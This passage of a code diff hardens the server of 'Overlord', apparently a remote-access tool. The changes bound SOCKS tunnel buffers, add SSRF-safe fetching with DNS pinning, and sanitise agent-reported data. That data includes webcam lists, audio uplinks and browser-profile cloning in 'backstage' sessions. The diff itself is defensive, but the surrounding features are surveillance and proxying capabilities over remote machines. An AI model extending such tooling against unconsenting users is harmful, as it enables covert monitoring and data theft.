entry.connections.get(connectionId); if (!tunnel) { socket.end(); return; } if (!tunnel.connected) { - tunnel.pendingData.push(incoming); + const nextBytes = enqueueSocksBuffer( + tunnel.pendingData, + tunnel.pendingDataBytes, + incoming, + SOCKS_PROXY_MAX_PENDING_BYTES, + ); + if (nextBytes === null) { + closeTunnelForBufferOverflow(entry, tunnel, "pending"); + return; + } + tunnel.pendingDataBytes = nextBytes; return; } sendDataToAgent(entry.clientId, connectionId, incoming); return; } + if (socket.data.buffer.byteLength + incoming.byteLength > SOCKS_PROXY_MAX_HANDSHAKE_BYTES) { + const tunnel = entry.connections.get(connectionId); + if (tunnel) { + closeTunnelForBufferOverflow(entry, tunnel, "pending"); + } else { + socket.end(); + } + return; + } socket.data.buffer = Buffer.concat([socket.data.buffer, incoming]); const buf = socket.data.buffer; @@ -455,6 +650,8 @@ function handleSocksData( socket.data.phase = "tunneling"; socket.data.buffer = Buffer.alloc(0); + socket.data.phaseDeadline = Date.now() + SOCKS_PROXY_CONNECT_TIMEOUT_SECONDS * 1000; + socket.timeout(SOCKS_PROXY_CONNECT_TIMEOUT_SECONDS); const agent = clientManager.getClient(entry.clientId); if (!agent) { @@ -466,19 +663,37 @@ function handleSocksData( return; } - agent.ws.send( - encodeMessage({ - type: "command", - commandType: "proxy_connect", - id: connectionId, - payload: { host, port }, - } as any), - ); + try { + agent.ws.send( + encodeMessage({ + type: "command", + commandType: "proxy_connect", + id: connectionId, + payload: { host, port }, + } as any), + ); + } catch { + const activeTunnel = entry.connections.get(connectionId); + if (activeTunnel) closeTunnel(entry, activeTunnel, "failed to contact agent"); + return; + } const remaining = buf.subarray(portOffset + 2); if (remaining.length > 0) { const tunnel = entry.connections.get(connectionId); - if (tunnel) tunnel.pendingData.push(remaining); + if (tunnel) { + const nextBytes = enqueueSocksBuffer( + tunnel.pendingData, + tunnel.pendingDataBytes, + remaining, + SOCKS_PROXY_MAX_PENDING_BYTES, + ); + if (nextBytes === null) { + closeTunnelForBufferOverflow(entry, tunnel, "pending"); + return; + } + tunnel.pendingDataBytes = nextBytes; + } } return; } diff --git a/Overlord-Server/src/server/ui/html.ts b/Overlord-Server/src/server/ui/html.ts index ad11fb3..6f076c8 100644 --- a/Overlord-Server/src/server/ui/html.ts +++ b/Overlord-Server/src/server/ui/html.ts @@ -1,3 +1,5 @@ +import { SECURITY_HEADERS } from "../http-security"; + export function escapeHtml(value: unknown): string { return String(value ?? "") .replaceAll("&", "&") @@ -12,6 +14,9 @@ export function htmlResponse( init: ResponseInit = {}, ): Response { const headers = new Headers(init.headers); + for (const [name, value] of Object.entries(SECURITY_HEADERS)) { + if (!headers.has(name)) headers.set(name, value); + } headers.set("Content-Type", "text/html; charset=utf-8"); headers.set("Cache-Control", "no-store"); headers.append("Vary", "Turbo-Frame"); diff --git a/Overlord-Server/src/server/url-security.test.ts b/Overlord-Server/src/server/url-security.test.ts index 980dd63..f07c57a 100644 --- a/Overlord-Server/src/server/url-security.test.ts +++ b/Overlord-Server/src/server/url-security.test.ts @@ -1,5 +1,9 @@ import { describe, expect, test } from "bun:test"; -import { isPrivateOrLocalAddress, validatePublicHttpUrl } from "./url-security"; +import { + createSafeUpstreamResponse, + isPrivateOrLocalAddress, + validatePublicHttpUrl, +} from "./url-security"; describe("isPrivateOrLocalAddress", () => { test("flags local and private IPv4 ranges", () => { @@ -15,6 +19,9 @@ describe("isPrivateOrLocalAddress", () => { expect(isPrivateOrLocalAddress("fe80::1")).toBe(true); expect(isPrivateOrLocalAddress("fd00::1")).toBe(true); expect(isPrivateOrLocalAddress("::ffff:127.0.0.1")).toBe(true); + expect(isPrivateOrLocalAddress("::ffff:7f00:1")).toBe(true); + expect(isPrivateOrLocalAddress("fe9f::1")).toBe(true); + expect(isPrivateOrLocalAddress("ff02::1")).toBe(true); }); test("allows public addresses", () => { @@ -33,13 +40,43 @@ describe("validatePublicHttpUrl", () => { await expect( validatePublicHttpUrl("https://example.test/file.bin", async () => [{ address: "10.0.0.5" }]), ).rejects.toThrow("private/internal"); + await expect( + validatePublicHttpUrl( + "https://example.test/file.bin", + async () => [{ address: "93.184.216.34" }, { address: "127.0.0.1" }], + ), + ).rejects.toThrow("private/internal"); }); test("allows hostnames that resolve to public addresses", async () => { const parsed = await validatePublicHttpUrl( "https://example.test/file.bin", - async () => [{ address: "203.0.113.10" }], + async () => [{ address: "93.184.216.34" }], ); expect(parsed.hostname).toBe("example.test"); }); }); + +describe("createSafeUpstreamResponse", () => { + test("normalizes non-Fetch HTTP status codes instead of throwing", async () => { + const response = createSafeUpstreamResponse( + new TextEncoder().encode("upstream body"), + 999, + "Odd upstream status", + ["Content-Type", "text/plain"], + ); + expect(response.status).toBe(502); + expect(await response.text()).toBe("upstream body"); + }); + + test("drops bodies for statuses that forbid a Fetch response body", async () => { + const response = createSafeUpstreamResponse( + new TextEncoder().encode("invalid body"), + 204, + "No Content", + [], + ); + expect(response.status).toBe(204); + expect(await response.text()).toBe(""); + }); +}); diff --git a/Overlord-Server/src/server/url-security.ts b/Overlord-Server/src/server/url-security.ts index 4e6da30..22465c2 100644 --- a/Overlord-Server/src/server/url-security.ts +++ b/Overlord-Server/src/server/url-security.ts @@ -1,4 +1,6 @@ import { lookup as dnsLookup } from "node:dns/promises"; +import { request as httpRequest } from "node:http"; +import { request as httpsRequest } from "node:https"; import { isIP } from "node:net"; export const DEFAULT_FETCH_URL_MAX_BYTES = 250 * 1024 * 1024; @@ -21,30 +23,97 @@ function ipv4ToBytes(address: string): number[] | null { function isPrivateIPv4(address: string): boolean { const b = ipv4ToBytes(address); if (!b) return true; - const [a, c] = b; + const [a, second, third] = b; return ( a === 0 || a === 10 || a === 127 || - (a === 100 && c >= 64 && c <= 127) || - (a === 169 && c === 254) || - (a === 172 && c >= 16 && c <= 31) || - (a === 192 && c === 168) || - (a === 192 && c === 0) || - (a === 198 && (c === 18 || c === 19)) || + (a === 100 && second >= 64 && second <= 127) || + (a === 169 && second === 254) || + (a === 172 && second >= 16 && second <= 31) || + (a === 192 && second === 168) || + (a === 192 && second === 0 && (third === 0 || third === 2)) || + (a === 192 && second === 88 && third === 99) || + (a === 198 && (second === 18 || second === 19)) || + (a === 198 && second === 51 && third === 100) || + (a === 203 && second === 0 && third === 113) || a >= 224 ); } -function isPrivateIPv6(address: string): boolean { - const host = normalizeHost(address); - if (host === "::" || host === "::1") return true; - if (host.startsWith("fe80:")) return true; - const firstHextet = Number.parseInt(host.split(":")[0] || "0", 16); - if (Number.isFinite(firstHextet) && (firstHextet & 0xfe00) === 0xfc00) return true; +function ipv6ToBytes(address: string): number[] | null { + let host = normalizeHost(address).split("%")[0]; + if (!host) return null; - const mapped = host.match(/::ffff:(\d+\.\d+\.\d+\.\d+)$/i); - if (mapped) return isPrivateIPv4(mapped[1]); + const dottedMatch = host.match(/^(.*:)(\d+\.\d+\.\d+\.\d+)$/); + if (dottedMatch) { + const ipv4 = ipv4ToBytes(dottedMatch[2]); + if (!ipv4) return null; + host = `${dottedMatch[1]}${((ipv4[0] << 8) | ipv4[1]).toString(16)}:${((ipv4[2] << 8) | ipv4[3]).toString(16)}`; + } + + const halves = host.split("::"); + if (halves.length > 2) return null; + const parseHalf = (half: string): number[] | null => { + if (!half) return []; + const values = half.split(":").map((part) => Number.parseInt(part, 16)); + if ( + values.some((value, index) => + !/^[0-9a-f]{1,4}$/i.test(half.split(":")[index] || "") || + !Number.isInteger(value) || + value < 0 || + value > 0xffff + ) + ) { + return null; + } + return values; + }; + + const left = parseHalf(halves[0]); + const right = parseHalf(halves[1] ?? ""); + if (!left || !right) return null; + const missing = 8 - left.length - right.length; + if ((halves.length === 1 && missing !== 0) || (halves.length === 2 && missing < 1)) return null; + const words = halves.length === 2 + ? [...left, ...new Array(missing).fill(0), ...right] + : left; + if (words.length !== 8) return null; + + const bytes: number[] = []; + for (const word of words) bytes.push(word >> 8, word & 0xff); + return bytes; +} + +function isPrivateIPv6(address: string): boolean { + const bytes = ipv6ToBytes(address); + if (!bytes) return true; + + // Unspecified, loopback, and deprecated IPv4-compatible space. + if (bytes.slice(0, 12).every((byte) => byte === 0)) return true; + + // IPv4-mapped IPv6 addresses inherit the embedded IPv4 classification. + if ( + bytes.slice(0, 10).every((byte) => byte === 0) && + bytes[10] === 0xff && + bytes[11] === 0xff + ) { + return isPrivateIPv4(bytes.slice(12).join(".")); + } + + const first = (bytes[0] << 8) | bytes[1]; + if ((first & 0xfe00) === 0xfc00) return true; // Unique-local fc00::/7. + if ((first & 0xffc0) === 0xfe80) return true; // Link-local fe80::/10. + if ((first & 0xffc0) === 0xfec0) return true; // Deprecated site-local fec0::/10. + if (bytes[0] === 0xff) return true; // Multicast ff00::/8. + + // Special translation/tunneling/documentation ranges should never be + // treated as ordinary public destinations for server-side fetches. + if (first === 0x0064 && bytes[2] === 0xff && bytes[3] === 0x9b) return true; + if (first === 0x0100 && bytes.slice(2, 8).every((byte) => byte === 0)) return true; + if (first === 0x2001 && bytes[2] === 0x0d && bytes[3] === 0xb8) return true; + if (first === 0x2001 && bytes[2] === 0 && bytes[3] === 0) return true; + if (first === 0x2002) return true; return false; } @@ -61,10 +130,10 @@ async function defaultLookup(hostname: string): Promise { return await dnsLookup(hostname, { all: true, verbatim: true }); } -export async function validatePublicHttpUrl( +async function resolvePublicHttpUrl( rawUrl: string, lookupFn: LookupFn = defaultLookup, -): Promise { +): Promise<{ parsed: URL; addresses: LookupAddress[] }> { let parsed: URL; try { parsed = new URL(rawUrl); @@ -85,12 +154,215 @@ export async function validatePublicHttpUrl( } const literalFamily = isIP(hostname); - const addresses = literalFamily ? [{ address: hostname }] : await lookupFn(hostname); + const addresses = literalFamily ? [{ address: hostname }] : await lookupWithDeadline(hostname, lookupFn); if (addresses.length === 0 || addresses.some((entry) => isPrivateOrLocalAddress(entry.address))) { throw new Error("URLs pointing to private/internal addresses are not allowed"); } - return parsed; + return { parsed, addresses }; +} + +export async function validatePublicHttpUrl( + rawUrl: string, + lookupFn: LookupFn = defaultLookup, +): Promise { + return (await resolvePublicHttpUrl(rawUrl, lookupFn)).parsed; +} + +export type PublicHttpRequestOptions = { + maxResponseBytes?: number; + timeoutMs?: number; + lookupFn?: LookupFn; +}; + +export function createSafeUpstreamResponse( + body: Uint8Array, + statusCode: number | undefined, + statusMessage: string | undefined, + rawHeaders: string[], +): Response { + const responseHeaders = new Headers(); + for (let i = 0; i < rawHeaders.length; i += 2) { + responseHeaders.append(rawHeaders[i], rawHeaders[i + 1] ?? ""); + } + const rawStatus = Number(statusCode); + const status = Number.isInteger(rawStatus) && rawStatus >= 200 && rawStatus <= 599 + ? rawStatus + : 502; + const responseBody = status === 204 || status === 205 || status === 304 ? null : body; + return new Response(responseBody, { + status, + statusText: status === rawStatus ? statusMessage : undefined, + headers: responseHeaders, + }); +} + +const DEFAULT_PUBLIC_HTTP_RESPONSE_MAX_BYTES = 64 * 1024; +const DEFAULT_PUBLIC_HTTP_TIMEOUT_MS = 15_000; +const PUBLIC_DNS_LOOKUP_TIMEOUT_MS = 5_000; + +async function lookupWithDeadline( + hostname: string, + lookupFn: LookupFn, +): Promise { + let timer: ReturnType | undefined; + try { + return await Promise.race([ + lookupFn(hostname), + new Promise((_, reject) => { + timer = setTimeout(() => reject(new Error("DNS lookup timed out")), PUBLIC_DNS_LOOKUP_TIMEOUT_MS); + }), + ]); + } finally { + if (timer) clearTimeout(timer); + } +} + +/** + * Fetch an untrusted public URL while pinning the socket to the address that was + * checked. This closes the DNS-rebinding gap between validation and connect. + * Redirects are deliberately returned to the caller rather than followed. + */ +export async function fetchPublicHttpResponse( + rawUrl: string, + init: RequestInit = {}, + options: PublicHttpRequestOptions = {}, +): Promise { + const { parsed, addresses } = await resolvePublicHttpUrl( + rawUrl, + options.lookupFn ?? defaultLookup, + ); + const pinned = addresses[0]; + const family = isIP(normalizeHost(pinned.address)); + if (family !== 4 && family !== 6) { + throw new Error("Resolved URL address is invalid"); + } + + const prepared = new Request(parsed, init); + const requestBody = prepared.body + ? new Uint8Array(await prepared.arrayBuffer()) + : null; + const headers = new Headers(prepared.headers); + if (requestBody && !headers.has("content-length")) { + headers.set("content-length", String(requestBody.byteLength)); + } + + const maxResponseBytes = Math.max( + 0, + Math.floor(options.maxResponseBytes ?? DEFAULT_PUBLIC_HTTP_RESPONSE_MAX_BYTES), + ); + const timeoutMs = Math.max( + 1, + Math.floor(options.timeoutMs ?? DEFAULT_PUBLIC_HTTP_TIMEOUT_MS), + ); + const requestImpl = parsed.protocol === "https:" ? httpsRequest : httpRequest; + + return await new Promise((resolve, reject) => { + let settled = false; + let absoluteTimer: ReturnType | undefined; + const clearAbsoluteTimer = () => { + if (absoluteTimer) { + clearTimeout(absoluteTimer); + absoluteTimer = undefined; + } + }; + const finishReject = (error: Error) => { + if (settled) return; + settled = true; + clearAbsoluteTimer(); + reject(error); + }; + + const request = requestImpl( + parsed, + { + method: prepared.method, + headers: Object.fromEntries(headers.entries()), + lookup: (( + _hostname: string, + optionsOrCallback: any, + maybeCallback?: any, + ) => { + const callback = typeof optionsOrCallback === "function" + ? optionsOrCallback + : maybeCallback; + if (typeof callback !== "function") return; + if (optionsOrCallback?.all) { + callback(null, [{ address: pinned.address, family }]); + } else { + callback(null, pinned.address, family); + } + }) as any, + }, + (response) => { + const chunks: Uint8Array[] = []; + let total = 0; + + response.on("data", (chunk: Uint8Array) => { + if (settled) return; + const bytes = chunk instanceof Uint8Array ? chunk : new Uint8Array(chunk); + total += bytes.byteLength; + if (total > maxResponseBytes) { + response.destroy(); + request.destroy(); + finishReject(new Error(`Remote response exceeds ${maxResponseBytes} byte limit`)); + return; + } + chunks.push(bytes); + }); + response.on("error", (error) => finishReject(error)); + response.on("end", () => { + if (settled) return; + try { + const body = new Uint8Array(total); + let offset = 0; + for (const chunk of chunks) { + body.set(chunk, offset); + offset += chunk.byteLength; + } + const safeResponse = createSafeUpstreamResponse( + body, + response.statusCode, + response.statusMessage, + response.rawHeaders, + ); + settled = true; + clearAbsoluteTimer(); + resolve(safeResponse); + } catch (error) { + finishReject(error instanceof Error ? error : new Error(String(error))); + } + }); + }, + ); + + request.setTimeout(timeoutMs, () => { + request.destroy(); + finishReject(new Error("Remote request timed out")); + }); + absoluteTimer = setTimeout(() => { + request.destroy(); + finishReject(new Error("Remote request exceeded its absolute time limit")); + }, timeoutMs); + request.on("error", (error) => finishReject(error)); + + if (prepared.signal.aborted) { + request.destroy(); + finishReject(new Error("Remote request aborted")); + return; + } + prepared.signal.addEventListener( + "abort", + () => { + request.destroy(); + finishReject(new Error("Remote request aborted")); + }, + { once: true }, + ); + + if (requestBody) request.write(requestBody); + request.end(); + }); } export function getFetchUrlMaxBytes(): number { @@ -107,17 +379,11 @@ export async function fetchPublicUrlBytes( let current = await validatePublicHttpUrl(rawUrl, lookupFn); for (let redirects = 0; redirects <= 3; redirects += 1) { - const controller = new AbortController(); - const timeout = setTimeout(() => controller.abort(), 60_000); - let response: Response; - try { - response = await fetch(current, { - redirect: "manual", - signal: controller.signal, - }); - } finally { - clearTimeout(timeout); - } + const response = await fetchPublicHttpResponse( + current.toString(), + { method: "GET" }, + { maxResponseBytes: maxBytes, timeoutMs: 60_000, lookupFn }, + ); if (response.status >= 300 && response.status < 400) { const location = response.headers.get("location"); @@ -131,35 +397,7 @@ export async function fetchPublicUrlBytes( throw new Error(`Remote fetch failed: ${response.status}`); } - const length = Number(response.headers.get("content-length") || 0); - if (Number.isFinite(length) && length > maxBytes) { - throw new Error(`Remote file exceeds ${maxBytes} byte limit`); - } - - const chunks: Uint8Array[] = []; - let total = 0; - const reader = response.body?.getReader(); - if (!reader) return { bytes: new Uint8Array(), finalUrl: current }; - - while (true) { - const { done, value } = await reader.read(); - if (done) break; - if (!value) continue; - total += value.byteLength; - if (total > maxBytes) { - try { await reader.cancel(); } catch {} - throw new Error(`Remote file exceeds ${maxBytes} byte limit`); - } - chunks.push(value); - } - - const bytes = new Uint8Array(total); - let offset = 0; - for (const chunk of chunks) { - bytes.set(chunk, offset); - offset += chunk.byteLength; - } - return { bytes, finalUrl: current }; + return { bytes: new Uint8Array(await response.arrayBuffer()), finalUrl: current }; } throw new Error("Too many redirects"); diff --git a/Overlord-Server/src/server/web-push.security.test.ts b/Overlord-Server/src/server/web-push.security.test.ts new file mode 100644 index 0000000..a539ded --- /dev/null +++ b/Overlord-Server/src/server/web-push.security.test.ts @@ -0,0 +1,115 @@ +import { describe, expect, test } from "bun:test"; +import { + dispatchGeneratedWebPushRequest, + sendWebPush, + webPushResultForStatus, +} from "./web-push"; + +describe("web push transport security", () => { + test("routes generated request details through the pinned public HTTP transport", async () => { + const body = Buffer.from([1, 2, 3, 4]); + const calls: Array<{ url: string; init: RequestInit }> = []; + + const response = await dispatchGeneratedWebPushRequest( + { + endpoint: "https://push.example.test/subscription/abc", + method: "POST", + headers: { TTL: 3600, Authorization: "vapid token" }, + body, + }, + async (url, init = {}) => { + calls.push({ url, init }); + return new Response(null, { status: 201 }); + }, + ); + + const observed = calls[0]; + expect(response.status).toBe(201); + expect(observed.url).toBe("https://push.example.test/subscription/abc"); + expect(observed.init.method).toBe("POST"); + expect(new Headers(observed.init.headers).get("authorization")).toBe("vapid token"); + expect(new Headers(observed.init.headers).get("ttl")).toBe("3600"); + expect(new Uint8Array(await new Response(observed.init.body).arrayBuffer())).toEqual( + new Uint8Array(body), + ); + }); + + test("rejects non-HTTPS generated endpoints before invoking transport", async () => { + let invoked = false; + await expect( + dispatchGeneratedWebPushRequest( + { + endpoint: "http://push.example.test/subscription/abc", + method: "POST", + headers: {}, + body: null, + }, + async () => { + invoked = true; + return new Response(null, { status: 201 }); + }, + ), + ).rejects.toThrow("must use HTTPS"); + expect(invoked).toBe(false); + }); + + test("rejects credentialed generated endpoints before invoking transport", async () => { + let invoked = false; + await expect( + dispatchGeneratedWebPushRequest( + { + endpoint: "https://user:pass@push.example.test/subscription/abc", + method: "POST", + headers: {}, + body: null, + }, + async () => { + invoked = true; + return new Response(null, { status: 201 }); + }, + ), + ).rejects.toThrow("embedded credentials"); + expect(invoked).toBe(false); + }); + + test("rejects private literal endpoints in the real pinned transport", async () => { + await expect( + dispatchGeneratedWebPushRequest({ + endpoint: "https://127.0.0.1:8443/push", + method: "POST", + headers: {}, + body: null, + }), + ).rejects.toThrow("private/internal"); + }); + + test("preserves success and expired-subscription status semantics", () => { + expect(webPushResultForStatus(201)).toEqual({ success: true }); + expect(webPushResultForStatus(404)).toEqual({ + success: false, + gone: true, + error: "subscription gone (404)", + }); + expect(webPushResultForStatus(410)).toEqual({ + success: false, + gone: true, + error: "subscription gone (410)", + }); + expect(webPushResultForStatus(500)).toEqual({ + success: false, + error: "Received unexpected response code", + }); + }); + + test("preserves the public HTTPS requirement before loading push keys", async () => { + const result = await sendWebPush( + { + endpoint: "http://93.184.216.34/push", + keys: { p256dh: "unused", auth: "unused" }, + }, + "payload", + ); + + expect(result).toEqual({ success: false, error: "push endpoint must use HTTPS" }); + }); +}); diff --git a/Overlord-Server/src/server/web-push.ts b/Overlord-Server/src/server/web-push.ts index af40ca0..c9bc124 100644 --- a/Overlord-Server/src/server/web-push.ts +++ b/Overlord-Server/src/server/web-push.ts @@ -3,6 +3,7 @@ import { existsSync, readFileSync, writeFileSync } from "fs"; import { resolve } from "path"; import { ensureDataDir } from "../paths"; import { logger } from "../logger"; +import { fetchPublicHttpResponse, validatePublicHttpUrl } from "./url-security"; let vapidKeys: { publicKey: string; privateKey: string } | null = null; @@ -46,16 +47,85 @@ export function getVapidPublicKey(): string { return loadOrGenerateVapidKeys().publicKey; } +type GeneratedWebPushRequest = { + endpoint: string; + method: string; + headers: Record; + body: Buffer | null; +}; + +type PublicHttpRequest = typeof fetchPublicHttpResponse; + +type WebPushResult = { success: boolean; gone?: boolean; error?: string }; + +function requireHttpsPushEndpoint(rawEndpoint: string): URL { + let endpoint: URL; + try { + endpoint = new URL(rawEndpoint); + } catch { + throw new Error("Invalid URL"); + } + if (endpoint.protocol !== "https:") { + throw new Error("push endpoint must use HTTPS"); + } + if (endpoint.username || endpoint.password) { + throw new Error("URLs with embedded credentials are not allowed"); + } + return endpoint; +} + +/** + * Send request details produced by web-push through the server's SSRF-safe + * transport. The transport validates and pins the resolved public address to + * the actual HTTPS socket, so a push endpoint cannot rebind between a DNS + * safety check and the connection. + */ +export async function dispatchGeneratedWebPushRequest( + details: GeneratedWebPushRequest, + request: PublicHttpRequest = fetchPublicHttpResponse, +): Promise { + requireHttpsPushEndpoint(details.endpoint); + + const headers = new Headers(); + for (const [name, value] of Object.entries(details.headers)) { + headers.set(name, String(value)); + } + + return await request(details.endpoint, { + method: details.method, + headers, + body: details.body === null ? undefined : new Uint8Array(details.body), + }); +} + +export function webPushResultForStatus(statusCode: number): WebPushResult { + if (statusCode >= 200 && statusCode <= 299) { + return { success: true }; + } + if (statusCode === 404 || statusCode === 410) { + return { success: false, gone: true, error: `subscription gone (${statusCode})` }; + } + return { success: false, error: "Received unexpected response code" }; +} + export async function sendWebPush( subscription: { endpoint: string; keys: { p256dh: string; auth: string } }, payload: string, -): Promise<{ success: boolean; gone?: boolean; error?: string }> { +): Promise { + try { + requireHttpsPushEndpoint(subscription.endpoint); + await validatePublicHttpUrl(subscription.endpoint); + } catch (err: any) { + return { success: false, error: err?.message || "invalid push endpoint" }; + } + const keys = loadOrGenerateVapidKeys(); webpush.setVapidDetails("mailto:overlord@localhost", keys.publicKey, keys.privateKey); try { - await webpush.sendNotification(subscription, payload, { TTL: 60 * 60 }); - return { success: true }; + const details = webpush.generateRequestDetails(subscription, payload, { TTL: 60 * 60 }); + const response = await dispatchGeneratedWebPushRequest(details); + return webPushResultForStatus(response.status); } catch (err: any) { const statusCode = err?.statusCode; if (statusCode === 404 || statusCode === 410) { diff --git a/Overlord-Server/src/server/ws-audio-relay.test.ts b/Overlord-Server/src/server/ws-audio-relay.test.ts new file mode 100644 index 0000000..1a44d86 --- /dev/null +++ b/Overlord-Server/src/server/ws-audio-relay.test.ts @@ -0,0 +1,58 @@ +import { afterEach, describe, expect, test } from "bun:test"; +import * as sessionManager from "../sessions/sessionManager"; +import { handleDesktopAudioUplink } from "./ws-desktop-audio"; +import { handleVoiceUplink } from "./ws-voice"; + +const voiceSessionIds: string[] = []; +const desktopAudioSessionIds: string[] = []; + +function mockViewer() { + const sent: unknown[] = []; + return { + sent, + socket: { + data: {}, + getBufferedAmount: () => 0, + send: (value: unknown) => { sent.push(value); }, + } as any, + }; +} + +afterEach(() => { + for (const id of voiceSessionIds.splice(0)) sessionManager.deleteVoiceSession(id); + for (const id of desktopAudioSessionIds.splice(0)) sessionManager.deleteDesktopAudioSession(id); +}); + +describe("legacy audio uplink routing", () => { + test("broadcasts voice data without a sessionId and preserves an exact subview", () => { + const clientId = `voice-relay-${Date.now().toString(36)}`; + const first = mockViewer(); + const second = mockViewer(); + for (const [id, viewer] of [["voice-a", first], ["voice-b", second]] as const) { + voiceSessionIds.push(id); + sessionManager.addVoiceSession({ id, clientId, viewer: viewer.socket, createdAt: Date.now() }); + } + + const backing = new Uint8Array([9, 1, 2, 3, 8]); + handleVoiceUplink(clientId, { data: new DataView(backing.buffer, 1, 3) }); + + expect(Array.from(first.sent[0] as Uint8Array)).toEqual([1, 2, 3]); + expect(Array.from(second.sent[0] as Uint8Array)).toEqual([1, 2, 3]); + }); + + test("broadcasts desktop audio without a sessionId but routes a supplied ID", () => { + const clientId = `desktop-audio-relay-${Date.now().toString(36)}`; + const first = mockViewer(); + const second = mockViewer(); + for (const [id, viewer] of [["audio-a", first], ["audio-b", second]] as const) { + desktopAudioSessionIds.push(id); + sessionManager.addDesktopAudioSession({ id, clientId, viewer: viewer.socket, createdAt: Date.now() }); + } + + handleDesktopAudioUplink(clientId, { data: new Uint8Array([1]) }); + handleDesktopAudioUplink(clientId, { sessionId: "audio-a", data: new Uint8Array([2]) }); + + expect(first.sent.map((value) => Array.from(value as Uint8Array))).toEqual([[1], [2]]); + expect(second.sent.map((value) => Array.from(value as Uint8Array))).toEqual([[1]]); + }); +}); diff --git a/Overlord-Server/src/server/ws-console-rd-backstage.ts b/Overlord-Server/src/server/ws-console-rd-backstage.ts index a0d1ca2..d48d2b5 100644 --- a/Overlord-Server/src/server/ws-console-rd-backstage.ts +++ b/Overlord-Server/src/server/ws-console-rd-backstage.ts @@ -55,6 +55,41 @@ const VIEWER_BACKPRESSURE_BYTES = Math.max( Number(process.env.OVERLORD_MEDIA_VIEWER_BACKPRESSURE_BYTES || 512 * 1024), ); +export const MAX_BACKSTAGE_APPS = 10_000; +export const MAX_BACKSTAGE_WINDOWS = 100_000; +export const MAX_BACKSTAGE_MONITORS = 256; +export const MAX_BACKSTAGE_ICON_CHARS_TOTAL = 256 * 1024 * 1024; +export const MAX_CLIPBOARD_CONTENT_BYTES = 64 * 1024 * 1024; + +function boundedAgentText(value: unknown, maxLength: number): string { + if (typeof value !== "string") return ""; + return value.slice(0, maxLength).replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, ""); +} + +function boundedAgentLine(value: unknown, maxLength: number): string { + if (typeof value !== "string") return ""; + return value + .slice(0, maxLength) + .replace(/[\x00-\x1F\x7F]+/g, " ") + .replace(/\s+/g, " ") + .trim(); +} + +function boundedAgentNumber(value: unknown, min = 0, max = Number.MAX_SAFE_INTEGER): number { + const parsed = typeof value === "bigint" ? Number(value) : Number(value); + if (!Number.isFinite(parsed)) return min; + return Math.min(max, Math.max(min, parsed)); +} + +function boundedAgentBytes(value: unknown, maxBytes: number): Uint8Array | null { + let bytes: Uint8Array; + if (value instanceof Uint8Array) bytes = value; + else if (value instanceof ArrayBuffer) bytes = new Uint8Array(value); + else if (ArrayBuffer.isView(value)) bytes = new Uint8Array(value.buffer, value.byteOffset, value.byteLength); + else return null; + return bytes.byteLength <= maxBytes ? bytes : null; +} + type FrameBroadcastResult = { sent: boolean; dropped: boolean; @@ -726,25 +761,25 @@ function sendP2PSignalingToViewer(session: P2PSession, msg: Record 0, devices); for (const session of sessionManager.getWebcamSessionsForClient(clientId)) { - safeSendViewer(session.viewer, { ...payload, devices }); + safeSendViewer(session.viewer, { + type: "webcam_devices", + devices, + selected: Math.floor(boundedAgentNumber(payload?.selected, 0, 31)), + }, "webcam-devices"); } } export function handlebackstageCloneProgress(clientId: string, payload: unknown) { const data = payload && typeof payload === "object" ? payload as Record : {}; - const browser = String(data.browser || ""); - const status = String(data.status || ""); + const browser = boundedAgentLine(data.browser, 128); + const status = boundedAgentLine(data.status, 1_024); if (status.startsWith("copying|") || status.startsWith("retrying|")) { logger.debug(`[backstage] clone client=${clientId} browser=${browser} status=${status}`); } else if (status.startsWith("failed|") || status.startsWith("skipped|") || status.startsWith("done_with_errors|")) { @@ -904,9 +943,9 @@ export function handlebackstageCloneProgress(clientId: string, payload: unknown) safeSendViewer(session.viewer, { type: "backstage_clone_progress", browser, - percent: Number(data.percent) || 0, - copiedBytes: Number(data.copiedBytes) || 0, - totalBytes: Number(data.totalBytes) || 0, + percent: boundedAgentNumber(data.percent, 0, 100), + copiedBytes: boundedAgentNumber(data.copiedBytes), + totalBytes: boundedAgentNumber(data.totalBytes), status, }); } @@ -916,8 +955,8 @@ export function handlebackstageLookupResult(clientId: string, payload: any) { for (const session of sessionManager.getbackstageSessionsForClient(clientId)) { safeSendViewer(session.viewer, { type: "backstage_lookup_result", - exe: String(payload.exe || ""), - path: String(payload.path || ""), + exe: boundedAgentText(payload?.exe, 512), + path: boundedAgentText(payload?.path, 4_096), done: !!payload.done, }); } @@ -926,8 +965,9 @@ export function handlebackstageLookupResult(clientId: string, payload: any) { export function handlebackstageBrowserCheckResult(clientId: string, payload: any) { const browsers: Record = {}; if (payload.browsers && typeof payload.browsers === "object") { - for (const [key, val] of Object.entries(payload.browsers)) { - browsers[key] = !!val; + for (const [key, val] of Object.entries(payload.browsers).slice(0, 64)) { + const safeKey = boundedAgentText(key, 64); + if (safeKey) browsers[safeKey] = !!val; } } for (const session of sessionManager.getbackstageSessionsForClient(clientId)) { @@ -940,12 +980,16 @@ export function handlebackstageBrowserCheckResult(clientId: string, payload: any export function handlebackstageInstalledAppsResult(clientId: string, payload: any) { const apps: Array<{ name: string; exePath: string; icon: string }> = []; + let iconChars = 0; if (Array.isArray(payload.apps)) { - for (const app of payload.apps) { + for (const app of payload.apps.slice(0, MAX_BACKSTAGE_APPS)) { + const rawIcon = boundedAgentText(app?.icon, 256 * 1024); + const icon = iconChars + rawIcon.length <= MAX_BACKSTAGE_ICON_CHARS_TOTAL ? rawIcon : ""; + iconChars += icon.length; apps.push({ - name: String(app.name || ""), - exePath: String(app.exePath || ""), - icon: String(app.icon || ""), + name: boundedAgentText(app?.name, 256), + exePath: boundedAgentText(app?.exePath, 4_096), + icon, }); } } @@ -964,7 +1008,7 @@ export function handlebackstageDXGIStatus(clientId: string, payload: any) { type: "backstage_dxgi_status", success: !!payload.success, gpuPid: Number(payload.gpuPid) || 0, - message: String(payload.message || ""), + message: boundedAgentText(payload?.message, 2_048), }); } } @@ -973,10 +1017,10 @@ export function handlebackstageBrowserLaunchStatus(clientId: string, payload: an for (const session of sessionManager.getbackstageSessionsForClient(clientId)) { safeSendViewer(session.viewer, { type: "backstage_browser_launch_status", - browser: String(payload.browser || ""), - step: String(payload.step || ""), + browser: boundedAgentText(payload?.browser, 128), + step: boundedAgentText(payload?.step, 128), success: !!payload.success, - detail: String(payload.detail || ""), + detail: boundedAgentText(payload?.detail, 2_048), }); } } @@ -987,15 +1031,15 @@ export function handlebackstageWindowListResult(clientId: string, payload: any) pid: number; processName: string; monitor: number; }> = []; if (Array.isArray(payload.windows)) { - for (const w of payload.windows) { + for (const w of 